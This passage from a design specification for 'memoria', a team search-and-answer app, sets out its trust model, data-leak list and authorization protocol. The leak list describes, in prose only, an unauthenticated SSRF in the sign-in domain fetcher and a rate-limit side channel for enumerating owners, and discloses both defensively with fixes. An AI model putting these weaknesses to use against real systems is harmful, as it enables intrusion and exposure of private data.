that belief. Remote `main` was `9b55ab8` and carried draft 5 the whole
time. Two sessions, two directions, one unrun command: **fetch before you
read a ref you did not just write.** It is in suite AGENTS.md already,
which is the point — a rule nobody runs is a rule that catches nothing,
and it is now three-for-three at catching nothing.

**And a second lesson from the same exchange, which is the suite session's
and is the more useful of the two: cite the ref, not the claim.** A claim
arriving from a peer gets *less* scrutiny than one arriving from a file,
and it should get more — a file can be opened at the commit you name,
while a peer's claim carries no provenance at all. You cannot see which
checkout they read, whether they fetched, or whether they were quoting or
remembering. Both of this week's cross-repository mistakes have that
shape: a doctrine ruling made on something memoria told the suite, and a
memoria merge made on something the suite implied. **When you tell another
repository a fact about this one, give the commit it is true at. When one
tells you, check it before you rule on it.**

**And a rider the suite session earned the hard way an hour later: citing
the ref is not enough if you read it with a tool that sees one line at a
time.** Its check of this fix grepped for a rule that spans two lines, got
zero matches, and came within one message of reporting that nothing had
been fixed. A false negative from a correct ref is worse than not checking,
because it arrives with the authority of having looked. Read the
surrounding lines; a count of zero is a claim like any other.

**One finding was wrong, and how it was wrong is worth as much.** The
review could not resolve `6797bbf` or `4aea8f4` and said §13's blocker was
therefore not shown closed. The hashes are correct — they are
`refs/heads/main` on the hub, confirmed by `git ls-remote` — but every
local checkout on this box is behind, because `amadan branch merge` lands
on the remote and touches no working tree. The reviewer was right that the
claim was unverifiable *as written*, and §13 now says which ref the hashes
are on and how they were checked. A citation that only resolves for
whoever wrote it is not a citation.

### 1.11 What the merge review changed

The branch merged eighteen commits of `main` — the Notion connector,
multi-file drop, draft 5 — and was then reviewed as a whole. REQUEST
CHANGES, eight MAJOR. **Every one of them was in something the merge did
not open**, which is §1.10's lesson arriving for the fifth time and the
reason it is now a rule in AGENTS.md rather than an observation.

**Three were guards that could not have worked.**

`.gitignore` was committed **with conflict markers in it**, and `make ci`
was green throughout, because git parses the marker lines as harmless
patterns. A broken file that no gate in this repository can read.

The egress gate's sibling exemption cited
`sibling.TestClientRefusesHostsOutsideTheTeam` as the runtime guard paying
for it. There was no such test. Every test in the package built its own
`&http.Client{}`, so nothing exercised `suite.NewSiblingClient` and a
constructor returning a client with no team check and no redirect refusal
would have stayed green. AGENTS.md's second named failure — a gate naming a
test that is not there — inside the comment claiming the payment.

And "one predicate" was not true of production: `main.go` passed
`Admits(cfg.Owners)` to `NewAuth` and separately called
`SetOwners(cfg.Owners)`, two closures over two copies of one rule, while
`handlers.go` asserted there was "no second value to disagree with". The
fix is not a gate: `Admits` is deleted and `app.Admit` is a method on the
one list, so there is nothing to build twice.

**Four more were mutations the author had not thought of**, found in the
sibling client after five author-chosen ones had all gone red. The worst
rendered a *count* for `NOT_VISIBLE` — the one value that must be silent —
telling a reader how many things they may not see. The most instructive
bounded the deadline against itself, so `Deadline = 30s` passed and a page
could hang for half a minute with the suite green. **A test that measures a
constant against itself measures nothing.**

**And the rest were the merge's own seams.** `S7` came back into §4.3 and
decision 11 from a branch written before ruling 4. §2 contradicted itself
four lines apart. §13 carried two lists arguing — an item truncated
mid-sentence, the same question live in one copy and struck in another, a
header counting four items of which two were dead. Twelve gate citations
pointed at the wrong gates after the renumbering, one sentence naming the
same gate under two numbers.

**The lesson that is new**, and it is about reviewing rather than writing:
this pass found more than the four before it combined, and it found it by
comparing the merge against *both parents* rather than reading the result.
A merge is the one change where reading the output cannot tell you what is
missing.

---

## 2. What memoria is

A fourth per-team instance app, beside sheets, docs and calendar, with
its own DEK and its own origin. It holds the team's content in a sealed
index and answers questions over it with citations.

**It has no members table**, and draft 3 said it did — in this sentence,
word for word from draft 2, three sections before decision 11 rejected
the table. A reader of §2 built it; a reader of decision 11 did not.
Admission is §4.3's.

**The owners list is not a roster, and draft 4 called it one four lines
above saying memoria never holds one.** The app refuses to start without
a platform-configured owners list. What separates the two is not size: a
roster answers "who is on this team", changes as people join and leave,
and would have to be reconciled against whoever else answers it. The
owners list answers "who operates this instance", is fixed at
provisioning, does not grow one person at a time, and is reconciled
against nothing because nobody else holds an opinion about it. Extending
it per person would make it a roster, and that is the move decision 11
rejects.

**Suite ruling 4 adds a third thing, and it is not either of those.** In
suite shape memoria holds a *pulled copy* of the home's roster (suite call
8, refreshed by epoch, §4.3). That is not a members table — memoria
authors none of it and reconciles none of it — and it is not the owners
list, which still answers a different question and still bypasses it. Three
distinct things, and this branch briefly collapsed two of them by writing
"its own roster copy" into the sentence above, four lines from the
paragraph warning against exactly that.

**What it is for.** Nothing in the suite answers a question. Docs ships
title and metadata search; Sheets has a recency list; the home's call 3
says where your things are. Asking *"what did we decide about X"* and
getting an answer grounded in the team's own documents is the gap.

**What it never does.**

- **Never decides who may read sibling content.** It asks (§4.1).
- **Never *authors* a roster**, which is the claim that survives ruling 4.
  It holds the home's, as a pulled copy refreshed by epoch (§4.3), and it
  reconciles none of it and writes none of it. In lone shape there is no
  roster at all and admission is the owners list. *This bullet said
  "never holds a team roster. Admission is relayed from the siblings" until
  2026-09-06, four lines below the paragraph describing the pulled copy —
  and §4.3 by then asked no sibling anything.*
- **Never writes to a sibling**, and exposes no sibling-facing surface.
- **Never acts as a person.** It holds no signing key; every assertion's
  `aud` binds to "app + instance host" (home §5.3).
- **Never crosses a team label** (§6.3).
- **Never holds an individually-granted sibling item.** S3 answers on
  team-visibility alone, so such an item cannot enter the corpus.
- **Never trains or fine-tunes.** Weights are the one copy that cannot be
  forgotten (decision 8).
- **Never recomputes a number.** A question with an arithmetic answer
  cites the cell; Sheets' engine is the app of record. A brain that
  recalculates is a second calculator that disagrees with the first.

---

## 3. Trust model and the leak list

Sealed at rest under memoria's own DEK, HKDF purpose keys, AES-GCM, as
Sheets §2 and home §3. What follows is what that does *not* cover.

### 3.1 Embeddings are content

The case that a vector is not plaintext: nothing in the bucket contains
the bytes `salary 50000`; the plaintext-grep gate passes; a vector is a
lossy derived artefact.

The case that it is: this suite already seals derived artefacts — Sheets
§2.1 seals the *cached computed value* even though it is only a function
of sealed inputs — and embedding inversion is not hypothetical.
Published vec2text-style attacks recover 32-token inputs close to
verbatim, and 32 tokens is the size of a cell, a title, or a sentence.

**Ruled:** chunk text, embeddings and the index graph are all §0 content.
An unsealed embedding is a plaintext cell that happens to beat a byte
grep — precisely the failure home §5.1 names as "turning a guarantee into
a comment".

**This applies to FTS5 too, and it shapes §7.** FTS5 stores term postings
in plaintext, so the index cannot live in the replicated SQLite file.

**Searching sealed vectors directly is not available.** Encrypted-ANN
schemes are research-grade and orders of magnitude slower. The working
shape is the one Sheets §4.4 uses for its handle: seal the serialised
index as one blob, decrypt into a refcounted in-memory handle on wake,
evict on idle. The graph is sealed *with* the vectors, because neighbour
edges alone reveal which passages resemble each other.

### 3.2 The leak list

**From the bucket:** document and chunk counts; sealed blob sizes; source
app and coordinates per chunk, plaintext exactly as Sheets §2.2 keeps
coordinates; ingest and update timestamps, therefore which sources are
busy and when; embedding dimension — though "therefore the model", as this
line read until draft 3, overstated it even then: the design has always
stored 512, which under OpenAI was a requested `dimensions` and under §8.3
is a truncation of a native 4096. Either way the stored width names a
choice of ours. It narrows the candidate models; it does not name one. Do
not lean on that.

**From a rendered page.** A response body is a copy in someone's browser,
and no revocation reaches it. A results tab left open on Tuesday still
shows Tuesday's authorized snippets on Friday; `/documents/{id}` shows a
whole document for as long as it stays open. This is true of every surface
memoria has or could have, so it is not an argument against any particular
one (§8.4 tried to use it as one and was wrong). memoria's guarantee ends
at the response body, and §8.4's invariant is what keeps the *next*
response honest.

**From a live host — the largest entry, and new.** A compromised memoria
host reaches the team's corpus across every app at once, plus §5.1's
connector credentials. §3.3 works through how this compares to Sheets;
§3.5 lists what shrinks it.

**From logs, errors and metrics:** a question is content — *"what does
Bob earn"* is a cell value phrased as a query. Sheets AGENTS.md's rule
extends to cover query text, answer text and cited snippets. Token counts
per query still leak length.

**From the index structure, even sealed:** blob size tracks corpus size;
update cadence tracks ingest; the platform observes timing, volume and
which team is awake.

**From a sibling:** bodies transit the router in plaintext on every S3
fetch (§6.1).

**From the circuit breaker's counters — a per-person record, and the only
one memoria keeps.** §8.1's breaker needs a 7-day baseline and memoria
hibernates, so its counters are durable: per `(sibling, asker, UTC day)`,
a `VISIBLE` count and a `NOT_VISIBLE` count. Sealed under their own
purpose key, so this is not a bucket leak; it is a statement about what
memoria *holds*. Anyone who can read them learns, per person per day, how
much of each sibling that person was allowed to see — which is a shape of
the team's permissions, not its content. Retained **8 days**, and the
retention is load-bearing rather than tidy: an unbounded version is a
year-long history of who was locked out of what. The alternative is a
breaker that cannot fire (in-memory, reset every wake), which §8.1 rejects
because a guard that is off reads as a guard that found nothing.

**From the sign-in form — and this entry understated it for three
drafts.** rastrillo's classifier resolves and fetches the submitted
address's domain when a sign-in begins, **before** the admission gate. The
entry used to stop at "the instance's existence, reachability, egress
address and a timing channel; no content", which is what an *arbitrary
domain* buys. Reading the fetcher on 2026-09-05 showed it buys more: the
`host=` in a domain's `_keymail` TXT record is taken verbatim, with no
allowlist, no scheme or port restriction and no private-range check, and
fetched by a client that follows redirects. **So the destination is the
submitter's to choose, not merely the domain's** — an unauthenticated SSRF
whose reach is whatever this instance's network can reach.

**memoria's half is closed** (gate 33): the admission predicate now runs
before the classifier, so an unadmitted address produces no DNS query and
no fetch. **Two things that does not fix.** An *owner* still reaches the
unhardened fetcher, and every other rastrillo app is untouched — the real
fix is upstream (§13, and `SECURITY-DRAFT-rastrillo-signin.md`). And the
guard sits in front of signin's per-address rate limiter, so **an owner
and a stranger become distinguishable after five submissions** — the
owner's sixth answers `?err=rate`, the stranger's answers `?sent=1`
forever, and refused addresses consume no per-IP budget, so enumerating
the owners list is unthrottled. That is a smaller leak than the dial and
it is a real one; the budget is inside signin and cannot be reached from
here.

This is listed because draft 3 let the product claim "nothing leaves this
instance", which it makes false.

**Not a leak, corrected:** a document's `external_id` was an unkeyed
SHA-256 of its body, which let anyone holding the bucket and a candidate
file confirm the team holds it, and read that row's size, timestamps and
chunk count. A content hash is not a coordinate, whatever it looks like.
It is an HMAC under its own purpose key now (`seal.Fingerprint`), which
keeps idempotent re-ingest and removes the oracle.

**From the provider, when AI is on — and this is bigger than draft 1
said.** Draft 1 stated only query-time egress: ~10 chunks × 500 tokens
per question, so that over months "the frequently-consulted part of the
corpus has left in full". That understated it by the corpus.

**§8.9 adds a second query-time trigger, and it is not the same as the
first.** Same recipient, same category of transmission — passages that
passed §4.1 in this request — but a different trigger and a bounded,
possibly different payload: the top eight ruled results are sent when a
query names a model kind (a postal address) and deterministic extraction
cannot serve it, **whether or not the query would have produced a
generated answer at all.** A search for "office address" that §8.2 routes
as navigational still sends passages. The disclosure has to say that in
the same breath as the answer path; "passages behind an answer" is no
longer the whole of it.

**Embeddings come from a hosted API (§7.2). So with AI on, every chunk of
every document leaves at ingest, on day one.** §8.6 prices it: 24M tokens
for a 90k-chunk corpus. The frequently-consulted part leaving is the
*second* leak, not the first.

Two consequences the spec carries rather than buries:

- **A chunk later downgraded or deleted has already left.** Decision 8's
  provenance-or-deletion governs memoria's copy. It cannot reach the
  provider's.
- **Decision 5's AI-off floor is therefore a strong position, not a
  degraded one.** With AI off, BM25 over sealed chunks, nothing leaves
  the instance — not at query time and not at ingest. That is why §11
  builds it first.

### 3.3 memoria is not less sealed than Sheets. It is a bigger target.

Asked directly by Paul, 2026-09-03, and answered here because every
future reader will ask it.

**At rest there is no difference.** memoria seals under its own DEK with
the same construction as Sheets, and the same plaintext-grep gate runs
against its bucket from the first commit.

**An earlier draft argued the difference was RAM** — that a Sheets host
holds decrypted handles only for *open* sheets (Sheets §4.4) while
memoria holds everything. That is mostly wrong and is recorded so it is not
reintroduced. A compromised Sheets host holds the DEK and can decrypt its
entire bucket on demand; the open-handle distinction is the difference
between reading memory and running a decrypt loop, which is no barrier to
anyone with code execution.

**The real difference is that the corpus is a union.** Compromise Sheets
and an attacker gets that team's sheets. Compromise memoria and they get
sheets *and* docs *and* calendar *and* Notion *and* uploads *and*
forwarded mail. Same lock, more in the room.

**Three refinements. The first favours memoria; the third draft 1 got
backwards.**

- **Per sibling app, memoria holds strictly less than the app does.**
  Decision 3's custody rule keeps individually-granted content out, so
  memoria's copy of Sheets is a strict subset. The union is larger; every
  sibling part of it is smaller.
- **The RAM point is real but narrow.** memoria's index must be fully
  decrypted to be searchable (§3.1), so its corpus sits in cleartext
  memory as routine operation. Against RCE this is marginal. It bites for
  **bounded memory over-reads** — a Heartbleed-class bug reads live
  memory, not the key's reach. Draft 1 also listed core files, swap and
  hypervisor snapshots; that was too broad, since those capture the DEK
  too and reduce to the decrypt loop. Narrowed on review.
- **Connector credentials are blast radius, not window, and draft 1 said
  the opposite.** Draft 1 claimed a compromised memoria "yields the
  sibling read tokens… the same content memoria already holds, so it
  widens the window rather than the blast radius". True of *sibling*
  tokens. False of §5.1's connector credentials: a Drive OAuth grant
  reaches the authorising account's whole Drive, and a Gmail label
  connector needs mailbox-wide read scope. Neither is bounded by what
  memoria ingested. **A compromised memoria reaches further than memoria
  ever held.** §3.5 mitigates it.

**What memoria does not do is weaken its siblings' sealing.** It holds no
sibling's DEK, cannot read a sibling's individually-granted content
because S3 404s it, and **gains no write path except suite §7's two, which
are narrower than "no writes" and differently shaped** (§6.4): a person's
own hand-off, carried by their browser under their own session, and S8 as
memoria itself into an area the team owner designated for it. Neither
gives memoria a capability over a sibling's content; the first is not
memoria writing at all.

### 3.4 A citation is exactly as trustworthy as the app it cites

A compromised sibling has no inbound path to memoria and holds no memoria
token, so it cannot read or write. What it *can* do is lie: serve
fabricated content on S3, answer `VISIBLE` for a person not entitled,
withhold tombstones. memoria's re-check asks the same lying app.

There is no mitigation, only disclosure. The README says this sentence.

### 3.5 Cheap mitigations

- **memoria hibernates.** Home §2.1 made the home the estate's one
  exception; memoria is not another.
- **Idle eviction** of the decrypted handle — the mitigation that matters
  most for §3.3's bounded-over-read class.
- **Per-source subsets**, owner-selected, default all.
- **A published-only mode**, in which the sibling carries an explicit
  "offer to memoria" mark that *it* evaluates.
- **Refusing sources by kind.** Calendar bodies off by default.
- **Least-privilege connector credentials — now a requirement, not a
  nicety** (§3.3). Prefer per-folder or per-label scopes over
  account-wide ones; prefer a dedicated service identity over a person's
  OAuth grant; store them under a distinct HKDF purpose key so a
  chunk-store disclosure does not yield them.

### 3.6 The honest claim

The README's first paragraph, in substance. Rewritten after review: the
draft-1 version was false about egress volume, which PRODUCT.md principle
1 treats as a defect rather than a wording choice.

**This is the paragraph for the full assistant, and it is not in the
README yet, on purpose.** §8.9 shipped first: with `MEMORIA_AI=on` the
binary sends the top eight ruled passages of a search that asks for a
postal address, and nothing else. The text below says "every document in
the corpus, once, when it is indexed" — true of embeddings, not built,
and false of the binary today. PRODUCT.md principle 1 makes overstating
egress as much a defect as understating it. So the README states exactly
what §8.9 sends, and this paragraph replaces it the day embeddings land.
**If decision 16 lands first**, its retention wording replaces "we rely on
their retention terms and cannot verify them" in both — and the
transmission disclosure stays in both, since decision 16 changes what is
retained and not what is sent.

> memoria's index and passages are sealed at rest under this team's own
> key, the same way your sheets and documents are. Nothing readable
> reaches storage. What is different about memoria is not the lock, it is
> what is behind it: memoria gathers your team's work from every app into
> one place, so whoever breaks into it gets all of it at once rather than
> one app's worth. That is the point of it and the risk of it.
>
> With the assistant switched off, **no document leaves this instance** —
> memoria searches your content where it sits.
>
> Signing in is the one exception, and it is not about your documents:
> memoria asks your email address's own domain how to verify you, so that
> domain learns this instance exists. Nothing of yours is in that request.
>
> **What you connect, memoria keeps.** Disconnecting a Notion space or a
> Drive folder, or revoking our access to it, stops memoria seeing new
> changes — it does not remove what memoria already holds. That copy
> stays readable to your team until someone deletes it *in memoria*.
> Documents in Sheets and Docs work the other way round: those apps stay
> in charge, and memoria asks them on every search.
>
> **Switching the assistant on sends your content to the provider named
> in your settings — not just the passages behind an answer, but every
> document in the corpus, once, when it is indexed.** That is how the
> search understands meaning rather than matching words. The provider can
> read what it receives; we rely on their retention terms and cannot
> verify them, and content sent before you deleted something cannot be
> recalled. We never claim we can't read your data, and with the
> assistant on we never claim nobody else can either.

---

## 4. Authorization

### 4.1 Sibling content: memoria asks, never decides

Every path that would speak a passage originating in a sibling app calls
**S2** first, carrying the asker:

```
S2(subject, [(item_id, revision), …])
  → per item: VISIBLE | NOT_VISIBLE | STALE | UNKNOWN

  (memoria also wants AHEAD; the contract cannot carry it yet — below)
```

**The asker is a typed subject, and the type travels on the wire**
(suite §3): `{kind: person_ref | address, value}` — a person ref in suite
shape, a lowercased address in lone shape. *On the wire* is the point, and
this spec first got it backwards by saying the type is fixed at
configuration because two instances that talk were provisioned together.
The doctrine names that exact reasoning and rejects it: **"provisioned
together" is an operational habit, not an enforced property.** With the
kind on the call, a receiver that keys on the other one answers `UNKNOWN`
for the whole call rather than guessing — which is a loud failure instead
of a silent mismatch between an address and a person ref that happen to
collide. Suite gate 2 tests it, and memoria's gate 6 gains the case.

The sibling answers from the grants join it already maintains — Sheets
§4.5, "rows this team can see, plus rows granted to me individually,
minus rows I have been removed from". memoria evaluates none of it.

**`AHEAD` is adopted and not yet shipped. Settled 2026-09-06 as suite
doctrine revision 10, on memoria's argument.**

Draft 4 added `AHEAD` for the case where the *sibling* is behind — its log
stops short of the revision memoria holds, or it has no row for the item
at all — and the reasoning is good: `STALE` means memoria is behind and
refetching fixes it, `NOT_VISIBLE` is the silent value and would delete
history the sibling still has, and `UNKNOWN` "would report no answer when
the sibling answered". Three wrong homes, so a fourth value.

Suite revision 7 had ruled the case `UNKNOWN`; **revision 10 replaces
that with `AHEAD`**, in the shape memoria proposed and with one half
declined — see below. The module carries it on an unmerged branch, so the
version this repository pins (`60b01a8`) still has four constants.

**So the wire shape above is four values today and five when the module
ships**, and every reference to `AHEAD` in this spec is written against the
five-value design. That is a shipping lag, not a disagreement, and the
distinction matters: nothing here needs redesigning, and nothing here can
be built until the module lands. Suite CI is unconfigured, which is what
holds it (§13).

**How it got settled, because the route matters more than the outcome.**

Record the doctrine's reasoning as the doctrine records it: suite §4.3
attributes the `UNKNOWN` ruling to *its own GPT-6 review, finding 11* —
never `VISIBLE`, because that authorises a revision nobody can vouch for;
never `NOT_VISIBLE`, because that is the silent value — and its trigger was
**draft 3's open §13 item**, not a question from this branch. It weighed
two of draft 4's three wrong homes. What it did not weigh is the third:
that `UNKNOWN` reports no answer when the app of record answered, precisely
about its own log.

*An earlier version of this paragraph said the suite "was asked by this
branch, which had not read draft 4, and answered without memoria's argument
in front of it". That is wrong twice — it credits this branch with the
question and the doctrine with none of the reasoning — and it is the more
embarrassing way to be wrong, because it makes another repository's
careful work look like an accident of mine.*

The argument that carried it was not the original one. The suite's
objection — that `AHEAD` for an item with **no row at all** opens an
id-existence oracle — was right and that half is withdrawn (§4.1's no-row
rule above). What survives is the half that does not leak: **a revision
beyond the sibling's log, for an item it still admits.**

And the reason that case cannot be handled by the feed instead: a
**whole-log** restore rewinds the sibling's cursor, and S1a re-announces
unasked. A **partial** restore — a content table restored without its event
log — leaves the cursor perfectly valid, so nothing fires and nothing can,
because from the log's point of view nothing happened. Only a per-item
answer can see it. The two mechanisms are complementary, not overlapping.

Until the module ships, memoria maps the case to `UNKNOWN` and **loses the
distinction between "the sibling answered, and is behind" and "the sibling
did not answer"** — the collapse `AHEAD` was cut to prevent. §13 carries
it as a shipping dependency rather than an open question.

**The sibling intersects its own answer with custody, and memoria depends
on that** (suite §4.3, and the S2 row of suite §6):

> S2's answer is intersected with custody. The app of record runs its
> grants join for the named asker, and then answers `NOT_VISIBLE` for any
> item that is not team-visible, **whatever the asker's individual grants
> say**.

Read Sheets §4.5 again — *"plus rows granted to me individually"* — and the
reason is immediate. An item that leaves team-visibility appears in S1 as
`gone`, which §4.2 requires to be **indistinguishable from deletion**. An
unintersected S2 distinguishes them perfectly: `VISIBLE` for the one that
went private, when a grantee is the asker, and `NOT_VISIBLE` for the one
that was deleted. That is the leak the S1 visibility flag was removed to
prevent and the leak S3's "404, never 403" was designed to prevent,
arriving on the third call.

**The cost is real and it is memoria's to disclose.** A person who still
holds an individual grant loses that passage here, and any answer built on
it, while the document stays open to them in the app of record. That is
the price of §4.2's indistinguishability and it cannot be avoided while
that promise stands. memoria's honest move is §6.5's: name the app the
answer went to, rather than quietly return a shorter one.

**What memoria must do about it**, since the mechanism is the sibling's:
depend on it, and refuse to trust an S2 that has not demonstrated it.
Before memoria consumes a sibling's S2, that sibling passes suite gate 3 —
*the same item id answers `NOT_VISIBLE` in each state* — including the
transition fixture: ingested while `team`, downgraded to `granted` with
the asker's grant intact, asked before `gone` arrives.

*An earlier version of this paragraph put the intersection on memoria's
side, as "S2 says VISIBLE **and** the item was team-visible when
acquired". Three things were wrong with it and a review found all three.
It was **vacuous** — everything memoria holds arrived through S3, which
serves only team-visible items, so the second half is true of every held
item and false of none: a guard written to pass. It **did not close the
leak**, because the downgrade-with-grant case passes both halves. And it
**argued against the doctrine's actual mechanism** as a ruling-3
violation, when a sibling applying its own two rules to its own answer is
not authorization cached or asked per person. The doctrine had already
retracted exactly that reasoning — "a later visibility change is exactly
what the defect turns on" — and this spec re-adopted it while citing the
section that retracted it.*

**Five-valued in memoria's design, four on the wire today** (see `AHEAD`
above), **and each value exists because collapsing it into another
produces a plausible empty list — the failure shape sheets-core AGENTS.md
names as the worst available.**

| Result | Means | memoria does |
|---|---|---|
| `VISIBLE` | this person may read this revision | render it |
| `NOT_VISIBLE` | this person may not read it | omit it silently — correct, and the only value that may be silent |
| `STALE` | the item exists and is readable, but the sibling has moved past this revision | **withhold loudly and refetch.** Not a denial |
| `AHEAD` | **the sibling's log stops short of this revision, for an item it still admits.** memoria holds history the sibling does not. **One shape, not two:** an item the sibling has no row for at all is `NOT_VISIBLE`, because `AHEAD` there would tell a caller which ids exist (§4.1 below, suite gate 3). This row read "two shapes, one value" until 2026-09-06 and contradicted the rule four sections down | **withhold loudly and re-announce.** Not a denial, and not a reason to delete |
| `UNKNOWN` | the sibling did not answer usefully | withhold loudly |

**`STALE` is here because draft 2 did not have it**, and mapped a stale
revision to `NOT_VISIBLE` — which is silently omitted. An ingestion delay
therefore looked exactly like "you have no matching results", recreating
the failure draft 2 claimed to have removed. A synchronisation condition
is not an authorization decision and must not share its value.

**`AHEAD` is here because draft 3 did not have it**, and the draft-3
review found the hole. `STALE` is defined as the sibling having moved
*past* the revision memoria asked about. Nothing covered the opposite: a
sibling restored from backup holds revision 5 of an item memoria indexed
at 7. It cannot authorize a revision it does not have, so the natural
answer was `NOT_VISIBLE` — the one silent value — and the plausible empty
list comes back through the restore door, on the day the suite is least
healthy and least likely to be believed.

**What memoria does with `AHEAD` is not what it does with `STALE`, and
the difference is the whole reason for a fifth value.** `STALE` means
memoria is behind, and refetching fixes it. `AHEAD` means the *sibling*
lost history, so refetching that revision 404s and refetching the item
yields revision 5 — an older body which is now the sibling's truth. So
memoria withholds the passage loudly, marks the source for the full
re-announce §6.1's S1 row already defines for a rewound cursor, and
**deletes nothing**: a sibling's restore must not purge memoria's corpus,
and the re-announce is what reconciles the two. Wholesale `AHEAD` from
one sibling is a restore signal and §8.1's third breaker names it as one,
rather than as the mis-scoped predicate it is not.

**"No row at all" is `NOT_VISIBLE`, and draft 4 had it as `AHEAD`.**
Corrected 2026-09-06 against suite §4.3, which governs. The argument for
`AHEAD` was good and is kept below, because the cost of overruling it is
real and should not be lost:

> A sibling that has never heard of an item memoria holds is in the same
> position as one whose log stops short of it: memoria holds history the
> sibling does not. An ordinary deletion does not arrive this way — it
> arrives as an `S4` tombstone on the feed, a positive statement that the
> item is gone. Silence is not that statement. Mapping it to
> `NOT_VISIBLE` puts a history gap on the one value that may be silent.

**What it missed is an oracle.** `NOT_VISIBLE` and `AHEAD` are
distinguishable, so a consumer that can name an id learns which ids
*exist*: `AHEAD` for one nobody holds, `NOT_VISIBLE` for one held
privately. Suite gate 3 requires S2's answer to be byte-identical across
private, granted, guest-only, link-shared-but-not-team **and deleted**,
precisely so ids cannot be enumerated — and this rule would have opened,
on the last call, the enumeration §4.2's indistinguishability and S3's
"404, never 403" were both built to deny. A value cut to close a silent
failure would have opened an existence leak instead.

**And caller discipline does not save it.** memoria only ever asks S2
about ids it received on S1, so *memoria* can name no id it was not told
about — but the S2 row is a contract **siblings implement**, answerable to
any consumer holding a token, and §3.2's leak list already contemplates a
compromised one. A rule that is safe only while every caller behaves is
not a property of the answer.

**So the cost is carried rather than avoided, and it is stated here.** A
sibling whose restore lost a row entirely is now indistinguishable from
one enforcing a denial, and memoria cannot tell them apart from S2 alone.
What settles it is the S4 tombstone and the re-announce — reconciliation
after the fact, not an answer at the point of the question. `AHEAD`
survives for the shape that does not leak: **a revision beyond the log,
for an item the sibling still admits**, which is the partial-restore case
and the one no feed signal can see.

**memoria never compares two revisions, and this is what makes `STALE`
and `AHEAD` well-defined.** A revision is an opaque token issued by the
sibling, like S1's cursor. Nothing in this design requires revisions to
be numeric, ordered or monotonic, and memoria tests them only for
equality. `STALE` and `AHEAD` are the *sibling's* verdict on its own log
— §6.1's S2 row already says the sibling must compare the asked-for
revision against its log rather than against its current row — and a
sibling whose revisions are content hashes or ULIDs answers them just as
well as one that counts. Without this rule, a restored sibling holding
"5" against memoria's "7" invites memoria to prefer the larger number,
which is exactly the wrong answer.

#### Post-restore reconciliation, and the phantom chunks

Draft 4 stopped at "withhold and re-announce", and the review found what
that leaves running. Between a sibling's restore and a completed
re-announce, every chunk memoria holds from that sibling at a lost
revision answers `AHEAD`. Each is withheld loudly — but each was *ranked*
first, so it consumed a slot in top-k. A search matching fifty chunks,
twenty of them from the restored sibling, rendered thirty results and a
notice about twenty. In the bad case — the sibling that supplies most of
the corpus — the page renders empty or nearly so, and the notice is the
only thing standing between the reader and "no results". **That is the
plausible empty list, arriving through the door `AHEAD` was cut to
close.** Four rules close it.

1. **A source marked for re-announce leaves the ranking until the
   re-announce completes.** Its chunks are not scored, not fused and not
   counted against top-k, so the other sources fill the page to its full
   depth. This costs nothing that was not already lost: every one of those
   chunks would have been withheld anyway. The page names the excluded
   source and says it is reconciling — one line, not one line per
   withheld passage.
2. **A re-announce is a complete statement, not a stream of hints.** It
   opens with a marker, lists every item the sibling currently holds as
   team-visible, and closes with a marker carrying the item count. An
   announce that does not reach its closing marker, or whose count
   disagrees with what memoria received, **has failed and authorises
   nothing** — this is gate 7's rule about enumeration diffs, and it binds
   here for the same reason: a truncated announce is no information, not
   an assertion of absence.
3. **On a completed re-announce, an item memoria holds and the announce
   omits is retired.** Retirement removes the chunks from the index and
   tombstones the rows, which makes it a deletion in memoria's own store
   and therefore subject to §7.4's durable tombstone log. It is not a
   purge on `AHEAD`: nothing is retired on the S2 answer, and nothing is
   retired by an announce that failed. This is the only thing that ever
   removes a phantom chunk, which is why the announce has to be able to
   say "complete" and mean it.
4. **The announce's revision replaces memoria's, in either direction.**
   The sibling's log is the authority on its own items, so an item
   announced at revision 5 against memoria's 7 becomes revision 5: memoria
   refetches the body at 5 via S3 and replaces its chunks. There is no
   numeric comparison and no "keep the newer one" — see the opaque-token
   rule above. This is decision 8's provenance rule doing its ordinary
   job: the source moved to a different revision, so the derived rows go.

Gate 27 holds all four, including the case where the announce fails
mid-way and nothing is retired.

**`UNKNOWN` is synthesised by the caller, not only returned by the
sibling.** A sibling that never answers cannot return anything, so the
client maps every non-answer to `UNKNOWN`: timeout, non-2xx, malformed
body, an item missing from the response, a duplicate item, a short
response to a 256-item request, and any result value the client does not
recognise. **The decoder is total** — every requested
pair gets exactly one result or the whole call is `UNKNOWN`. Without that
rule a missing entry falls through to omission, which is the silent path
again. Gate 6.

**S2 subsumes per-item membership, and nothing else.** Draft 3 said it
"subsumes membership" without the qualifier and draft 4 put it back: there
is no membership *synchronisation* and no membership table, because a
non-member's items all come back `NOT_VISIBLE` from the app that knows,
and §1.2's four unreconciled tables are simply not consulted.

**But "is P a member of this team?" is a real and separate question**, and
since suite ruling 4 it is the home's roster that answers it, not `S7` and
not a sibling (§4.3). It is asked once at the door, about the team rather
than about an item. The two must not be run together: authorization is per
asker, per query, **never cached at any scope**; admission is a pulled copy
refreshed by epoch. Collapsing them is what `S7`'s per-session cache did,
and separating them is the whole point of the roster split.

**Revision matters.** A document that stays team-visible but whose newer
revision removed a sentence must not have its stale chunk spoken: a
revision behind the sibling's current one answers **`STALE`**, and memoria
refetches rather than omitting.

**A source can be *behind* the revision we hold, and that is not `STALE`.**
`STALE` means the sibling has moved *past* the revision memoria asked
about — an ingestion delay, and memoria refetches. The opposite happens
too: a sibling restored from backup can sit *behind* it, so the app of
record does not recognise the revision at all. **That answers `AHEAD`, and
withholds loudly while the source re-announces.** Never `VISIBLE`, which
would authorise a revision nobody can vouch for; never `NOT_VISIBLE`, the
silent value and the mistake `STALE` was added to fix; and not `UNKNOWN`
either, which reports that nobody answered when the app of record answered
precisely about its own log. Three wrong homes, which is why the values are
five and not four.

*This paragraph said `UNKNOWN` until 2026-09-06, citing suite §4.3 and
GPT-6's finding 11 — correctly, for revision 7. Revision 10 replaces that
ruling with `AHEAD`, so the citation stood while the thing it cited had
moved. Until the module ships the fifth constant the CODE maps this case
to `UNKNOWN`; the spec no longer pretends that is the design.*

**Everything below `AHEAD` in this section is specified against the
five-value design and cannot be built until the module ships it** — gate 6,
§8.1's third breaker, §5.2's step 2 and §7.4's post-restore reconciliation
all name a value the pinned `suite.Authorization` does not carry. That is
one dependency with one date, not five open questions.

**Batch cap: 256 pairs per call**, multiple calls permitted. Draft 1's 64
was tied to answer top-k and did not survive paginated search or
derived-artefact expansion (§5.2). The number's reason: one page of
search results (50) plus the provenance fan-out of the derived artefacts
on it — measured before the constant is committed.

### 4.2 memoria-owned content: memoria is the app of record

Notion, Drive, forwarded mail and uploads have no sibling to ask. For
